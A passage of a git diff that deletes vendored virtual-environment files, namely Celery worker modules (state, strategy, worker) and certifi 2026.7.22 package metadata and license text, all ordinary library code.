a/venv/Lib/site-packages/celery/worker/state.py +++ /dev/null @@ -1,288 +0,0 @@ -"""Internal worker state (global). - -This includes the currently active and reserved tasks, -statistics, and revoked tasks. -""" -import os -import platform -import shelve -import sys -import weakref -import zlib -from collections import Counter - -from kombu.serialization import pickle, pickle_protocol -from kombu.utils.objects import cached_property - -from celery import __version__ -from celery.exceptions import WorkerShutdown, WorkerTerminate -from celery.utils.collections import LimitedSet - -__all__ = ( - 'SOFTWARE_INFO', 'reserved_requests', 'active_requests', - 'total_count', 'revoked', 'task_reserved', 'maybe_shutdown', - 'task_accepted', 'task_ready', 'Persistent', -) - -#: Worker software/platform information. -SOFTWARE_INFO = { - 'sw_ident': 'py-celery', - 'sw_ver': __version__, - 'sw_sys': platform.system(), -} - -#: maximum number of revokes to keep in memory. -REVOKES_MAX = int(os.environ.get('CELERY_WORKER_REVOKES_MAX', 50000)) - -#: maximum number of successful tasks to keep in memory. -SUCCESSFUL_MAX = int(os.environ.get('CELERY_WORKER_SUCCESSFUL_MAX', 1000)) - -#: how many seconds a revoke will be active before -#: being expired when the max limit has been exceeded. -REVOKE_EXPIRES = float(os.environ.get('CELERY_WORKER_REVOKE_EXPIRES', 10800)) - -#: how many seconds a successful task will be cached in memory -#: before being expired when the max limit has been exceeded. -SUCCESSFUL_EXPIRES = float(os.environ.get('CELERY_WORKER_SUCCESSFUL_EXPIRES', 10800)) - -#: Mapping of reserved task_id->Request. -requests = {} - -#: set of all reserved :class:`~celery.worker.request.Request`'s. -reserved_requests = weakref.WeakSet() - -#: set of currently active :class:`~celery.worker.request.Request`'s. -active_requests = weakref.WeakSet() - -#: A limited set of successful :class:`~celery.worker.request.Request`'s. -successful_requests = LimitedSet(maxlen=SUCCESSFUL_MAX, - expires=SUCCESSFUL_EXPIRES) - -#: count of tasks accepted by the worker, sorted by type. -total_count = Counter() - -#: count of all tasks accepted by the worker -all_total_count = [0] - -#: the list of currently revoked tasks. Persistent if ``statedb`` set. -revoked = LimitedSet(maxlen=REVOKES_MAX, expires=REVOKE_EXPIRES) - -#: Mapping of stamped headers flagged for revoking. -revoked_stamps = {} - -should_stop = None -should_terminate = None - - -def reset_state(): - requests.clear() - reserved_requests.clear() - active_requests.clear() - successful_requests.clear() - total_count.clear() - all_total_count[:] = [0] - revoked.clear() - revoked_stamps.clear() - - -def maybe_shutdown(): - """Shutdown if flags have been set.""" - if should_terminate is not None and should_terminate is not False: - raise WorkerTerminate(should_terminate) - elif should_stop is not None and should_stop is not False: - raise WorkerShutdown(should_stop) - - -def task_reserved(request, - add_request=requests.__setitem__, - add_reserved_request=reserved_requests.add): - """Update global state when a task has been reserved.""" - add_request(request.id, request) - add_reserved_request(request) - - -def task_accepted(request, - _all_total_count=None, - add_request=requests.__setitem__, - add_active_request=active_requests.add, - add_to_total_count=total_count.update): - """Update global state when a task has been accepted.""" - if not _all_total_count: - _all_total_count = all_total_count - add_request(request.id, request) - add_active_request(request) - add_to_total_count({request.name: 1}) - all_total_count[0] += 1 - - -def task_ready(request, - successful=False, - remove_request=requests.pop, - discard_active_request=active_requests.discard, - discard_reserved_request=reserved_requests.discard): - """Update global state when a task is ready.""" - if successful: - successful_requests.add(request.id) - - remove_request(request.id, None) - discard_active_request(request) - discard_reserved_request(request) - - -C_BENCH = os.environ.get('C_BENCH') or os.environ.get('CELERY_BENCH') -C_BENCH_EVERY = int(os.environ.get('C_BENCH_EVERY') or - os.environ.get('CELERY_BENCH_EVERY') or 1000) -if C_BENCH: # pragma: no cover - import atexit - from time import monotonic - - from billiard.process import current_process - - from celery.utils.debug import memdump, sample_mem - - all_count = 0 - bench_first = None - bench_start = None - bench_last = None - bench_every = C_BENCH_EVERY - bench_sample = [] - __reserved = task_reserved - __ready = task_ready - - if current_process()._name == 'MainProcess': - @atexit.register - def on_shutdown(): - if bench_first is not None and bench_last is not None: - print('- Time spent in benchmark: {!r}'.format( - bench_last - bench_first)) - print('- Avg: {}'.format( - sum(bench_sample) / len(bench_sample))) - memdump() - - def task_reserved(request): - """Called when a task is reserved by the worker.""" - global bench_start - global bench_first - now = None - if bench_start is None: - bench_start = now = monotonic() - if bench_first is None: - bench_first = now - - return __reserved(request) - - def task_ready(request): - """Called when a task is completed.""" - global all_count - global bench_start - global bench_last - all_count += 1 - if not all_count % bench_every: - now = monotonic() - diff = now - bench_start - print('- Time spent processing {} tasks (since first ' - 'task received): ~{:.4f}s\n'.format(bench_every, diff)) - sys.stdout.flush() - bench_start = bench_last = now - bench_sample.append(diff) - sample_mem() - return __ready(request) - - -class Persistent: - """Stores worker state between restarts. - - This is the persistent data stored by the worker when - :option:`celery worker --statedb` is enabled. - - Currently only stores revoked task id's. - """ - - storage = shelve - protocol = pickle_protocol - compress = zlib.compress - decompress = zlib.decompress - _is_open = False - - def __init__(self, state, filename, clock=None): - self.state = state - self.filename = filename - self.clock = clock - self.merge() - - def open(self): - return self.storage.open( - self.filename, protocol=self.protocol, writeback=True, - ) - - def merge(self): - self._merge_with(self.db) - - def sync(self): - self._sync_with(self.db) - self.db.sync() - - def close(self): - if self._is_open: - self.db.close() - self._is_open = False - - def save(self): - self.sync() - self.close() - - def _merge_with(self, d): - self._merge_revoked(d) - self._merge_clock(d) - return d - - def _sync_with(self, d): - self._revoked_tasks.purge() - d.update({ - '__proto__': 3, - 'zrevoked': self.compress(self._dumps(self._revoked_tasks)), - 'clock': self.clock.forward() if self.clock else 0, - }) - return d - - def _merge_clock(self, d): - if self.clock: - d['clock'] = self.clock.adjust(d.get('clock') or 0) - - def _merge_revoked(self, d): - try: - self._merge_revoked_v3(d['zrevoked']) - except KeyError: - try: - self._merge_revoked_v2(d.pop('revoked')) - except KeyError: - pass - # purge expired items at boot - self._revoked_tasks.purge() - - def _merge_revoked_v3(self, zrevoked): - if zrevoked: - self._revoked_tasks.update(pickle.loads(self.decompress(zrevoked))) - - def _merge_revoked_v2(self, saved): - if not isinstance(saved, LimitedSet): - # (pre 3.0.18) used to be stored as a dict - return self._merge_revoked_v1(saved) - self._revoked_tasks.update(saved) - - def _merge_revoked_v1(self, saved): - add = self._revoked_tasks.add - for item in saved: - add(item) - - def _dumps(self, obj): - return pickle.dumps(obj, protocol=self.protocol) - - @property - def _revoked_tasks(self): - return self.state.revoked - - @cached_property - def db(self): - self._is_open = True - return self.open() diff --git a/venv/Lib/site-packages/celery/worker/strategy.py b/venv/Lib/site-packages/celery/worker/strategy.py deleted file mode 100644 index 6a1c6225b4827079a121e95ccea8785cbcf95df9..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/worker/strategy.py +++ /dev/null @@ -1,209 +0,0 @@ -"""Task execution strategy (optimization).""" -import logging - -from kombu.asynchronous.timer import to_timestamp - -from celery import signals -from celery.app import trace as _app_trace -from celery.exceptions import InvalidTaskError -from celery.utils.imports import symbol_by_name -from celery.utils.log import get_logger -from celery.utils.saferepr import saferepr -from celery.utils.time import timezone - -from .request import create_request_cls -from .state import task_reserved - -__all__ = ('default',) - -logger = get_logger(__name__) - -# pylint: disable=redefined-outer-name -# We cache globals and attribute lookups, so disable this warning. - - -def hybrid_to_proto2(message, body): - """Create a fresh protocol 2 message from a hybrid protocol 1/2 message.""" - try: - args, kwargs = body.get('args', ()), body.get('kwargs', {}) - kwargs.items # pylint: disable=pointless-statement - except KeyError: - raise InvalidTaskError('Message does not have args/kwargs') - except AttributeError: - raise InvalidTaskError( - 'Task keyword arguments must be a mapping', - ) - - headers = { - 'lang': body.get('lang'), - 'task': body.get('task'), - 'id': body.get('id'), - 'root_id': body.get('root_id'), - 'parent_id': body.get('parent_id'), - 'group': body.get('group'), - 'meth': body.get('meth'), - 'shadow': body.get('shadow'), - 'eta': body.get('eta'), - 'expires': body.get('expires'), - 'retries': body.get('retries', 0), - 'timelimit': body.get('timelimit', (None, None)), - 'argsrepr': body.get('argsrepr'), - 'kwargsrepr': body.get('kwargsrepr'), - 'origin': body.get('origin'), - } - headers.update(message.headers or {}) - - embed = { - 'callbacks': body.get('callbacks'), - 'errbacks': body.get('errbacks'), - 'chord': body.get('chord'), - 'chain': None, - } - - return (args, kwargs, embed), headers, True, body.get('utc', True) - - -def proto1_to_proto2(message, body): - """Convert Task message protocol 1 arguments to protocol 2. - - Returns: - Tuple: of ``(body, headers, already_decoded_status, utc)`` - """ - try: - args, kwargs = body.get('args', ()), body.get('kwargs', {}) - kwargs.items # pylint: disable=pointless-statement - except KeyError: - raise InvalidTaskError('Message does not have args/kwargs') - except AttributeError: - raise InvalidTaskError( - 'Task keyword arguments must be a mapping', - ) - body.update( - argsrepr=saferepr(args), - kwargsrepr=saferepr(kwargs), - headers=message.headers, - ) - try: - body['group'] = body['taskset'] - except KeyError: - pass - embed = { - 'callbacks': body.get('callbacks'), - 'errbacks': body.get('errbacks'), - 'chord': body.get('chord'), - 'chain': None, - } - return (args, kwargs, embed), body, True, body.get('utc', True) - - -def default(task, app, consumer, - info=logger.info, error=logger.error, task_reserved=task_reserved, - to_system_tz=timezone.to_system, bytes=bytes, - proto1_to_proto2=proto1_to_proto2): - """Default task execution strategy. - - Note: - Strategies are here as an optimization, so sadly - it's not very easy to override. - """ - hostname = consumer.hostname - connection_errors = consumer.connection_errors - _does_info = logger.isEnabledFor(logging.INFO) - # task event related - # (optimized to avoid calling request.send_event) - eventer = consumer.event_dispatcher - events = eventer and eventer.enabled - send_event = eventer and eventer.send - task_sends_events = events and task.send_events - - call_at = consumer.timer.call_at - apply_eta_task = consumer.apply_eta_task - rate_limits_enabled = not consumer.disable_rate_limits - get_bucket = consumer.task_buckets.__getitem__ - handle = consumer.on_task_request - limit_task = consumer._limit_task - limit_post_eta = consumer._limit_post_eta - Request = symbol_by_name(task.Request) - Req = create_request_cls(Request, task, consumer.pool, hostname, eventer, - app=app) - - revoked_tasks = consumer.controller.state.revoked - - def task_message_handler(message, body, ack, reject, callbacks, - to_timestamp=to_timestamp): - if body is None and 'args' not in message.payload: - body, headers, decoded, utc = ( - message.body, message.headers, False, app.uses_utc_timezone(), - ) - else: - if 'args' in message.payload: - body, headers, decoded, utc = hybrid_to_proto2(message, - message.payload) - else: - body, headers, decoded, utc = proto1_to_proto2(message, body) - - req = Req( - message, - on_ack=ack, on_reject=reject, app=app, hostname=hostname, - eventer=eventer, task=task, connection_errors=connection_errors, - body=body, headers=headers, decoded=decoded, utc=utc, - ) - if _does_info: - # Similar to `app.trace.info()`, we pass the formatting args as the - # `extra` kwarg for custom log handlers - context = { - 'id': req.id, - 'name': req.name, - 'args': req.argsrepr, - 'kwargs': req.kwargsrepr, - 'eta': req.eta, - } - info(_app_trace.LOG_RECEIVED, context, extra={'data': context}) - if (req.expires or req.id in revoked_tasks) and req.revoked(): - return - - signals.task_received.send(sender=consumer, request=req) - - if task_sends_events: - send_event( - 'task-received', - uuid=req.id, name=req.name, - args=req.argsrepr, kwargs=req.kwargsrepr, - root_id=req.root_id, parent_id=req.parent_id, - retries=req.request_dict.get('retries', 0), - eta=req.eta and req.eta.isoformat(), - expires=req.expires and req.expires.isoformat(), - ) - - bucket = None - eta = None - if req.eta: - try: - if req.utc: - eta = to_timestamp(to_system_tz(req.eta)) - else: - eta = to_timestamp(req.eta, app.timezone) - except (OverflowError, ValueError) as exc: - error("Couldn't convert ETA %r to timestamp: %r. Task: %r", - req.eta, exc, req.info(safe=True), exc_info=True) - req.reject(requeue=False) - if rate_limits_enabled: - bucket = get_bucket(task.name) - - if eta and bucket: - consumer.qos.increment_eventually() - return call_at(eta, limit_post_eta, (req, bucket, 1), - priority=6) - - if eta: - consumer.qos.increment_eventually() - call_at(eta, apply_eta_task, (req,), priority=6) - return task_message_handler - if bucket: - return limit_task(req, bucket, 1) - - task_reserved(req) - if callbacks: - [callback(req) for callback in callbacks] - handle(req) - return task_message_handler diff --git a/venv/Lib/site-packages/celery/worker/worker.py b/venv/Lib/site-packages/celery/worker/worker.py deleted file mode 100644 index 2444012310f494dca64db16af2808af2ae0b03f4..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/worker/worker.py +++ /dev/null @@ -1,435 +0,0 @@ -"""WorkController can be used to instantiate in-process workers. - -The command-line interface for the worker is in :mod:`celery.bin.worker`, -while the worker program is in :mod:`celery.apps.worker`. - -The worker program is responsible for adding signal handlers, -setting up logging, etc. This is a bare-bones worker without -global side-effects (i.e., except for the global state stored in -:mod:`celery.worker.state`). - -The worker consists of several components, all managed by bootsteps -(mod:`celery.bootsteps`). -""" - -import os -import sys -from datetime import datetime, timezone -from time import sleep - -from billiard import cpu_count -from kombu.utils.compat import detect_environment - -from celery import bootsteps -from celery import concurrency as _concurrency -from celery import signals -from celery.bootsteps import RUN, TERMINATE -from celery.exceptions import ImproperlyConfigured, TaskRevokedError, WorkerTerminate -from celery.platforms import EX_FAILURE, create_pidlock -from celery.utils.imports import reload_from_cwd -from celery.utils.log import mlevel -from celery.utils.log import worker_logger as logger -from celery.utils.nodenames import default_nodename, worker_direct -from celery.utils.text import str_to_list -from celery.utils.threads import default_socket_timeout - -from . import state - -try: - import resource -except ImportError: - resource = None - - -__all__ = ('WorkController',) - -#: Default socket timeout at shutdown. -SHUTDOWN_SOCKET_TIMEOUT = 5.0 - -SELECT_UNKNOWN_QUEUE = """ -Trying to select queue subset of {0!r}, but queue {1} isn't -defined in the `task_queues` setting. - -If you want to automatically declare unknown queues you can -enable the `task_create_missing_queues` setting. -""" - -DESELECT_UNKNOWN_QUEUE = """ -Trying to deselect queue subset of {0!r}, but queue {1} isn't -defined in the `task_queues` setting. -""" - - -class WorkController: - """Unmanaged worker instance.""" - - app = None - - pidlock = None - blueprint = None - pool = None - semaphore = None - - #: contains the exit code if a :exc:`SystemExit` event is handled. - exitcode = None - - class Blueprint(bootsteps.Blueprint): - """Worker bootstep blueprint.""" - - name = 'Worker' - default_steps = { - 'celery.worker.components:Hub', - 'celery.worker.components:Pool', - 'celery.worker.components:Beat', - 'celery.worker.components:Timer', - 'celery.worker.components:StateDB', - 'celery.worker.components:Consumer', - 'celery.worker.autoscale:WorkerComponent', - } - - def __init__(self, app=None, hostname=None, **kwargs): - self.app = app or self.app - self.hostname = default_nodename(hostname) - self.startup_time = datetime.now(timezone.utc) - self.app.loader.init_worker() - self.on_before_init(**kwargs) - self.setup_defaults(**kwargs) - self.on_after_init(**kwargs) - - self.setup_instance(**self.prepare_args(**kwargs)) - - def setup_instance(self, queues=None, ready_callback=None, pidfile=None, - include=None, use_eventloop=None, exclude_queues=None, - **kwargs): - self.pidfile = pidfile - self.setup_queues(queues, exclude_queues) - self.setup_includes(str_to_list(include)) - - # Set default concurrency - if not self.concurrency: - try: - self.concurrency = cpu_count() - except NotImplementedError: - self.concurrency = 2 - - # Options - self.loglevel = mlevel(self.loglevel) - self.ready_callback = ready_callback or self.on_consumer_ready - - # this connection won't establish, only used for params - self._conninfo = self.app.connection_for_read() - self.use_eventloop = ( - self.should_use_eventloop() if use_eventloop is None - else use_eventloop - ) - self.options = kwargs - - signals.worker_init.send(sender=self) - - # Initialize bootsteps - self.pool_cls = _concurrency.get_implementation(self.pool_cls) - self.steps = [] - self.on_init_blueprint() - self.blueprint = self.Blueprint( - steps=self.app.steps['worker'], - on_start=self.on_start, - on_close=self.on_close, - on_stopped=self.on_stopped, - ) - self.blueprint.apply(self, **kwargs) - - def on_init_blueprint(self): - pass - - def on_before_init(self, **kwargs): - pass - - def on_after_init(self, **kwargs): - pass - - def on_start(self): - if self.pidfile: - self.pidlock = create_pidlock(self.pidfile) - - def on_consumer_ready(self, consumer): - pass - - def on_close(self): - self.app.loader.shutdown_worker() - - def on_stopped(self): - self.timer.stop() - self.consumer.shutdown() - - if self.pidlock: - self.pidlock.release() - - def setup_queues(self, include, exclude=None): - include = str_to_list(include) - exclude = str_to_list(exclude) - try: - self.app.amqp.queues.select(include) - except KeyError as exc: - raise ImproperlyConfigured( - SELECT_UNKNOWN_QUEUE.strip().format(include, exc)) - try: - self.app.amqp.queues.deselect(exclude) - except KeyError as exc: - raise ImproperlyConfigured( - DESELECT_UNKNOWN_QUEUE.strip().format(exclude, exc)) - if self.app.conf.worker_direct: - self.app.amqp.queues.select_add(worker_direct(self.hostname)) - - def setup_includes(self, includes): - # Update celery_include to have all known task modules, so that we - # ensure all task modules are imported in case an execv happens. - prev = tuple(self.app.conf.include) - if includes: - prev += tuple(includes) - [self.app.loader.import_task_module(m) for m in includes] - self.include = includes - task_modules = {task.__class__.__module__ - for task in self.app.tasks.values()} - self.app.conf.include = tuple(set(prev) | task_modules) - - def prepare_args(self, **kwargs): - return kwargs - - def _send_worker_shutdown(self): - signals.worker_shutdown.send(sender=self) - - def start(self): - try: - self.blueprint.start(self) - except WorkerTerminate: - self.terminate() - except Exception as exc: - logger.critical('Unrecoverable error: %r', exc, exc_info=True) - self.stop(exitcode=EX_FAILURE) - except SystemExit as exc: - self.stop(exitcode=exc.code) - except KeyboardInterrupt: - self.stop(exitcode=EX_FAILURE) - - def register_with_event_loop(self, hub): - self.blueprint.send_all( - self, 'register_with_event_loop', args=(hub,), - description='hub.register', - ) - - def _process_task_sem(self, req): - return self._quick_acquire(self._process_task, req) - - def _process_task(self, req): - """Process task by sending it to the pool of workers.""" - try: - req.execute_using_pool(self.pool) - except TaskRevokedError: - try: - self._quick_release() # Issue 877 - except AttributeError: - pass - - def signal_consumer_close(self): - try: - self.consumer.close() - except AttributeError: - pass - - def should_use_eventloop(self): - return (detect_environment() == 'default' and - self._conninfo.transport.implements.asynchronous and - not self.app.IS_WINDOWS) - - def stop(self, in_sighandler=False, exitcode=None): - """Graceful shutdown of the worker server (Warm shutdown).""" - if exitcode is not None: - self.exitcode = exitcode - if self.blueprint.state == RUN: - self.signal_consumer_close() - if not in_sighandler or self.pool.signal_safe: - self._shutdown(warm=True) - self._send_worker_shutdown() - - def terminate(self, in_sighandler=False): - """Not so graceful shutdown of the worker server (Cold shutdown).""" - if self.blueprint.state != TERMINATE: - self.signal_consumer_close() - if not in_sighandler or self.pool.signal_safe: - self._shutdown(warm=False) - - def _shutdown(self, warm=True): - # if blueprint does not exist it means that we had an - # error before the bootsteps could be initialized. - if self.blueprint is not None: - with default_socket_timeout(SHUTDOWN_SOCKET_TIMEOUT): # Issue 975 - self.blueprint.stop(self, terminate=not warm) - self.blueprint.join() - - def reload(self, modules=None, reload=False, reloader=None): - list(self._reload_modules( - modules, force_reload=reload, reloader=reloader)) - - if self.consumer: - self.consumer.update_strategies() - self.consumer.reset_rate_limits() - try: - self.pool.restart() - except NotImplementedError: - pass - - def _reload_modules(self, modules=None, **kwargs): - return ( - self._maybe_reload_module(m, **kwargs) - for m in set(self.app.loader.task_modules - if modules is None else (modules or ())) - ) - - def _maybe_reload_module(self, module, force_reload=False, reloader=None): - if module not in sys.modules: - logger.debug('importing module %s', module) - return self.app.loader.import_from_cwd(module) - elif force_reload: - logger.debug('reloading module %s', module) - return reload_from_cwd(sys.modules[module], reloader) - - def info(self): - uptime = datetime.now(timezone.utc) - self.startup_time - return {'total': self.state.total_count, - 'pid': os.getpid(), - 'clock': str(self.app.clock), - 'uptime': round(uptime.total_seconds())} - - def rusage(self): - if resource is None: - raise NotImplementedError('rusage not supported by this platform') - s = resource.getrusage(resource.RUSAGE_SELF) - return { - 'utime': s.ru_utime, - 'stime': s.ru_stime, - 'maxrss': s.ru_maxrss, - 'ixrss': s.ru_ixrss, - 'idrss': s.ru_idrss, - 'isrss': s.ru_isrss, - 'minflt': s.ru_minflt, - 'majflt': s.ru_majflt, - 'nswap': s.ru_nswap, - 'inblock': s.ru_inblock, - 'oublock': s.ru_oublock, - 'msgsnd': s.ru_msgsnd, - 'msgrcv': s.ru_msgrcv, - 'nsignals': s.ru_nsignals, - 'nvcsw': s.ru_nvcsw, - 'nivcsw': s.ru_nivcsw, - } - - def stats(self): - info = self.info() - info.update(self.blueprint.info(self)) - info.update(self.consumer.blueprint.info(self.consumer)) - try: - info['rusage'] = self.rusage() - except NotImplementedError: - info['rusage'] = 'N/A' - return info - - def __repr__(self): - """``repr(worker)``.""" - return ''.format( - self=self, - state=self.blueprint.human_state() if self.blueprint else 'INIT', - ) - - def __str__(self): - """``str(worker) == worker.hostname``.""" - return self.hostname - - @property - def state(self): - return state - - def setup_defaults(self, concurrency=None, loglevel='WARN', logfile=None, - task_events=None, pool=None, consumer_cls=None, - timer_cls=None, timer_precision=None, - autoscaler_cls=None, - pool_putlocks=None, - pool_restarts=None, - optimization=None, O=None, # O maps to -O=fair - statedb=None, - time_limit=None, - soft_time_limit=None, - scheduler=None, - pool_cls=None, # XXX use pool - state_db=None, # XXX use statedb - task_time_limit=None, # XXX use time_limit - task_soft_time_limit=None, # XXX use soft_time_limit - scheduler_cls=None, # XXX use scheduler - schedule_filename=None, - max_tasks_per_child=None, - prefetch_multiplier=None, disable_rate_limits=None, - worker_lost_wait=None, - max_memory_per_child=None, **_kw): - either = self.app.either - self.loglevel = loglevel - self.logfile = logfile - - self.concurrency = either('worker_concurrency', concurrency) - self.task_events = either('worker_send_task_events', task_events) - self.pool_cls = either('worker_pool', pool, pool_cls) - self.consumer_cls = either('worker_consumer', consumer_cls) - self.timer_cls = either('worker_timer', timer_cls) - self.timer_precision = either( - 'worker_timer_precision', timer_precision, - ) - self.optimization = optimization or O - self.autoscaler_cls = either('worker_autoscaler', autoscaler_cls) - self.pool_putlocks = either('worker_pool_putlocks', pool_putlocks) - self.pool_restarts = either('worker_pool_restarts', pool_restarts) - self.statedb = either('worker_state_db', statedb, state_db) - self.schedule_filename = either( - 'beat_schedule_filename', schedule_filename, - ) - self.scheduler = either('beat_scheduler', scheduler, scheduler_cls) - self.time_limit = either( - 'task_time_limit', time_limit, task_time_limit) - self.soft_time_limit = either( - 'task_soft_time_limit', soft_time_limit, task_soft_time_limit, - ) - self.max_tasks_per_child = either( - 'worker_max_tasks_per_child', max_tasks_per_child, - ) - self.max_memory_per_child = either( - 'worker_max_memory_per_child', max_memory_per_child, - ) - self.prefetch_multiplier = int(either( - 'worker_prefetch_multiplier', prefetch_multiplier, - )) - self.disable_rate_limits = either( - 'worker_disable_rate_limits', disable_rate_limits, - ) - self.worker_lost_wait = either('worker_lost_wait', worker_lost_wait) - - def wait_for_soft_shutdown(self): - """Wait :setting:`worker_soft_shutdown_timeout` if soft shutdown is enabled. - - To enable soft shutdown, set the :setting:`worker_soft_shutdown_timeout` in the - configuration. Soft shutdown can be used to allow the worker to finish processing - few more tasks before initiating a cold shutdown. This mechanism allows the worker - to finish short tasks that are already in progress and requeue long-running tasks - to be picked up by another worker. - - .. warning:: - If there are no tasks in the worker, the worker will not wait for the - soft shutdown timeout even if it is set as it makes no sense to wait for - the timeout when there are no tasks to process. - """ - app = self.app - requests = tuple(state.active_requests) - - if app.conf.worker_enable_soft_shutdown_on_idle: - requests = True - - if app.conf.worker_soft_shutdown_timeout > 0 and requests: - log = f"Initiating Soft Shutdown, terminating in {app.conf.worker_soft_shutdown_timeout} seconds" - logger.warning(log) - sleep(app.conf.worker_soft_shutdown_timeout) diff --git a/venv/Lib/site-packages/certifi-2026.7.22.dist-info/INSTALLER b/venv/Lib/site-packages/certifi-2026.7.22.dist-info/INSTALLER deleted file mode 100644 index a1b589e38a32041e49332e5e81c2d363dc418d68..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/certifi-2026.7.22.dist-info/INSTALLER +++ /dev/null @@ -1 +0,0 @@ -pip diff --git a/venv/Lib/site-packages/certifi-2026.7.22.dist-info/METADATA b/venv/Lib/site-packages/certifi-2026.7.22.dist-info/METADATA deleted file mode 100644 index eb460c2ca89630f6285f4690476e4e04daca9b0e..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/certifi-2026.7.22.dist-info/METADATA +++ /dev/null @@ -1,78 +0,0 @@ -Metadata-Version: 2.4 -Name: certifi -Version: 2026.7.22 -Summary: Python package for providing Mozilla's CA Bundle. -Home-page: https://github.com/certifi/python-certifi -Author: Kenneth Reitz -Author-email: me@kennethreitz.com -License: MPL-2.0 -Project-URL: Source, https://github.com/certifi/python-certifi -Classifier: Development Status :: 5 - Production/Stable -Classifier: Intended Audience :: Developers -Classifier: License :: OSI Approved :: Mozilla Public License 2.0 (MPL 2.0) -Classifier: Natural Language :: English -Classifier: Programming Language :: Python -Classifier: Programming Language :: Python :: 3 -Classifier: Programming Language :: Python :: 3 :: Only -Classifier: Programming Language :: Python :: 3.7 -Classifier: Programming Language :: Python :: 3.8 -Classifier: Programming Language :: Python :: 3.9 -Classifier: Programming Language :: Python :: 3.10 -Classifier: Programming Language :: Python :: 3.11 -Classifier: Programming Language :: Python :: 3.12 -Classifier: Programming Language :: Python :: 3.13 -Classifier: Programming Language :: Python :: 3.14 -Requires-Python: >=3.7 -License-File: LICENSE -Dynamic: author -Dynamic: author-email -Dynamic: classifier -Dynamic: description -Dynamic: home-page -Dynamic: license -Dynamic: license-file -Dynamic: project-url -Dynamic: requires-python -Dynamic: summary - -Certifi: Python SSL Certificates -================================ - -Certifi provides Mozilla's carefully curated collection of Root Certificates for -validating the trustworthiness of SSL certificates while verifying the identity -of TLS hosts. It has been extracted from the `Requests`_ project. - -Installation ------------- - -``certifi`` is available on PyPI. Simply install it with ``pip``:: - - $ pip install certifi - -Usage ------ - -To reference the installed certificate authority (CA) bundle, you can use the -built-in function:: - - >>> import certifi - - >>> certifi.where() - '/usr/local/lib/python3.7/site-packages/certifi/cacert.pem' - -Or from the command line:: - - $ python -m certifi - /usr/local/lib/python3.7/site-packages/certifi/cacert.pem - -Enjoy! - -.. _`Requests`: https://requests.readthedocs.io/en/latest/ - -Addition/Removal of Certificates --------------------------------- - -Certifi does not support any addition/removal or other modification of the -CA trust store content. This project is intended to provide a reliable and -highly portable root of trust to python deployments. Look to upstream projects -for methods to use alternate trust. diff --git a/venv/Lib/site-packages/certifi-2026.7.22.dist-info/RECORD b/venv/Lib/site-packages/certifi-2026.7.22.dist-info/RECORD deleted file mode 100644 index 7860ab5ccd4dab78d68f88d941ec8f76572b5a18..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/certifi-2026.7.22.dist-info/RECORD +++ /dev/null @@ -1,19 +0,0 @@ -certifi-2026.7.22.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 -certifi-2026.7.22.dist-info/METADATA,sha256=71rxY4-7I2dqw8V3ffz8LNnDSP5Bcu1bo9J3ZVskgJA,2474 -certifi-2026.7.22.dist-info/RECORD,, -certifi-2026.7.22.dist-info/REQUESTED,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -certifi-2026.7.22.dist-info/WHEEL,sha256=K260EYznzXsJYBQGqmI8VTxEdiZYNvDZwW9cBh9-_MA,91 -certifi-2026.7.22.dist-info/licenses/LICENSE,sha256=6TcW2mucDVpKHfYP5pWzcPBpVgPSH2-D8FPkLPwQyvc,989 -certifi-2026.7.22.dist-info/top_level.txt,sha256=KMu4vUCfsjLrkPbSNdgdekS-pVJzBAJFO__nI8NF6-U,8 -certifi/__init__.py,sha256=elLl9CBfmz0SoxiYzqp-P2g30ZzCMHALyuGp2R0UhsE,94 -certifi/__main__.py,sha256=xBBoj905TUWBLRGANOcf7oi6e-3dMP4cEoG9OyMs11g,243 -certifi/__pycache__/__init__.cpython-314.pyc,, -certifi/__pycache__/__main__.cpython-314.pyc,, -certifi/__pycache__/core.cpython-314.pyc,, -certifi/cacert.pem,sha256=nMKndLUZjc_xTZvh5mCR9TiXXYZ84Cmpa84VpV39cw8,240216 -certifi/core.py,sha256=XFXycndG5pf37ayeF8N32HUuDafsyhkVMbO4BAPWHa0,3394 -certifi/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -certifi/tests/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -certifi/tests/__pycache__/__init__.cpython-314.pyc,, -certifi/tests/__pycache__/test_certify.cpython-314.pyc,, -certifi/tests/test_certify.py,sha256=fBedHt839-kSsTNmNzX7RsYzjV0OX4kV0Rw7wofSJ7g,467 diff --git a/venv/Lib/site-packages/certifi-2026.7.22.dist-info/REQUESTED b/venv/Lib/site-packages/certifi-2026.7.22.dist-info/REQUESTED deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/venv/Lib/site-packages/certifi-2026.7.22.dist-info/WHEEL b/venv/Lib/site-packages/certifi-2026.7.22.dist-info/WHEEL deleted file mode 100644 index 1d472b6c22838de58d1c3c0dd2c795a5cde9e415..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/certifi-2026.7.22.dist-info/WHEEL +++ /dev/null @@ -1,5 +0,0 @@ -Wheel-Version: 1.0 -Generator: setuptools (83.0.0) -Root-Is-Purelib: true -Tag: py3-none-any - diff --git a/venv/Lib/site-packages/certifi-2026.7.22.dist-info/licenses/LICENSE b/venv/Lib/site-packages/certifi-2026.7.22.dist-info/licenses/LICENSE deleted file mode 100644 index 62b076cdee58ec8f34034141ba0befd9015b0c7e..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/certifi-2026.7.22.dist-info/licenses/LICENSE +++ /dev/null @@ -1,20 +0,0 @@ -This package contains a modified version of ca-bundle.crt: - -ca-bundle.crt -- Bundle of CA Root Certificates - -This is a bundle of X.509 certificates of public Certificate Authorities -(CA). These were automatically extracted from Mozilla's root certificates -file (certdata.txt). This file can be found in the mozilla source tree: -https://hg.mozilla.org/mozilla-central/file/tip/security/nss/lib/ckfw/builtins/certdata.txt -It contains the certificates in PEM format and therefore -can be directly used with curl / libcurl / php_curl, or with -an Apache+mod_ssl webserver for SSL client 